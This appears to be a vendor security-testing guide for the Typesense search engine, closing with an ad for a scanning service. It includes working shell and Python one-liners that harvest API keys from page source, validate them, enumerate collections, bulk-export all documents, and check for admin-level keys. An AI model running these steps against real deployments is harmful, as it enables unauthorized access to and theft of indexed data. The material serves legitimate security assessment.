Typesense Security Testing: API Key Exposure, Collection Enumeration, and Document Exfiltration

Typesense is a fast, typo-tolerant open-source search engine often used as an Algolia alternative, designed for direct browser-to-Typesense queries using a search-only API key. This architecture creates a common security pattern: the search-only API key, intended only for read operations, is embedded in public JavaScript and gives anyone who finds it full document read access to all indexed collections; if an application accidentally embeds the admin API key instead of the search-only key (a common developer mistake), full administrative control is exposed including the ability to delete collections, modify schemas, and create new API keys; Typesense instances accessible directly on the internet expose all API calls to network scanning; the /collections/{name}/documents/export endpoint exports all documents in a collection as JSON Lines without any per-request result limits — a search-only key is sufficient to dump an entire collection; and the /keys endpoint lists all configured API keys and their permissions when queried with the admin key. This guide covers systematic Typesense security assessment.

Table of Contents

  1. Typesense Discovery
  2. API Key Discovery and Privilege Testing
  3. Collection Enumeration and Document Exfiltration
  4. Typesense Security Hardening

Typesense Discovery

# Typesense default port: 8108
# Health endpoint always responds without authentication

curl -s "http://typesense.example.com:8108/health" 2>/dev/null
# Returns: {"ok":true}

# Version info
curl -s "http://typesense.example.com:8108/debug" \
  -H "X-TYPESENSE-API-KEY: test" 2>/dev/null | \
  python3 -c "
import json,sys
try:
    d = json.load(sys.stdin)
    print(f\"Version: {d.get('version','?')}\")
except: pass
" 2>/dev/null

# Common Typesense paths in application JavaScript bundles
# Search for embedded API keys in page source
curl -s "https://example.com/" 2>/dev/null | \
  grep -oE '[a-zA-Z0-9]{24,}' | \
  while read KEY; do
    RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
      "http://typesense.example.com:8108/collections" \
      -H "X-TYPESENSE-API-KEY: ${KEY}" 2>/dev/null)
    if [ "$RESULT" == "200" ]; then
      echo "VALID KEY FOUND IN PAGE SOURCE: ${KEY}"
    fi
  done

Collection Enumeration and Document Exfiltration

# With a valid API key (even search-only), enumerate all collections
TYPESENSE_KEY="your-discovered-key"
TYPESENSE_HOST="http://typesense.example.com:8108"

# List all collections (search-only keys may have access to all collections)
curl -s "${TYPESENSE_HOST}/collections" \
  -H "X-TYPESENSE-API-KEY: ${TYPESENSE_KEY}" 2>/dev/null | \
  python3 -c "
import json,sys
collections = json.load(sys.stdin)
if isinstance(collections, list):
    print(f'Collections: {len(collections)}')
    for c in collections:
        print(f\"  {c['name']:40} docs={c.get('num_documents',0):>10}\")
        print(f\"  Fields: {[f['name'] for f in c.get('fields',[])[:10]]}\")
elif isinstance(collections, dict) and 'message' in collections:
    print(f'Error: {collections[\"message\"]}')
" 2>/dev/null

# Export ALL documents from a collection (no pagination limit)
# The /export endpoint returns JSONL — all documents, no result cap
COLLECTION="your-collection-name"
curl -s "${TYPESENSE_HOST}/collections/${COLLECTION}/documents/export" \
  -H "X-TYPESENSE-API-KEY: ${TYPESENSE_KEY}" 2>/dev/null | \
  python3 -c "
import sys
lines = sys.stdin.readlines()
print(f'Exported {len(lines)} documents')
if lines:
    import json
    first = json.loads(lines[0])
    print(f'Sample fields: {list(first.keys())}')
    print(f'First doc: {str(first)[:200]}')
" 2>/dev/null

# Test if key is admin (can list all API keys)
curl -s "${TYPESENSE_HOST}/keys" \
  -H "X-TYPESENSE-API-KEY: ${TYPESENSE_KEY}" 2>/dev/null | \
  python3 -c "
import json,sys
d = json.load(sys.stdin)
if 'keys' in d:
    print(f'ADMIN KEY: Can list all {len(d[\"keys\"])} API keys')
    for k in d['keys']:
        print(f\"  Key ID {k['id']}: actions={k.get('actions','?')} collections={k.get('collections','?')}\")
elif 'message' in d:
    print(f'Not admin (search-only key): {d[\"message\"]}')
" 2>/dev/null

Typesense Security Hardening

Typesense Security Hardening Checklist:
Security TestMethodRisk
Search-only API key embedded in client-side JavaScriptGrep page source for 24+ char alphanumeric strings; test against /collections endpointHigh
Admin API key accidentally in client-side JavaScriptTest discovered keys against /keys endpoint — 200 response confirms admin-level accessCritical
All documents exportable via /export with search keyGET /collections/{name}/documents/export — dumps entire collection; no per-request limitHigh
All collections accessible with one search keyGET /collections — lists all collection names and document counts with unscoped keyHigh
Typesense port 8108 accessible from internetNetwork probe port 8108 — Typesense API directly reachable enables bulk key testingHigh
Sensitive fields indexed and readable via searchSearch all collections for email, password, token, key field names — reveals data scopeMedium

Automate Typesense Security Testing

Ironimo tests Typesense deployments for API keys embedded in client-side JavaScript (both search-only and admin), the admin key granting full collection management and key creation capabilities, document export via /collections/{name}/documents/export allowing bulk extraction of all indexed content with a search-only key, Typesense port 8108 directly accessible from the internet without firewall protection, unscoped API keys that access all collections rather than specific allowed ones, and sensitive data fields indexed in collections that expose PII or credentials via the search API.

Start free scan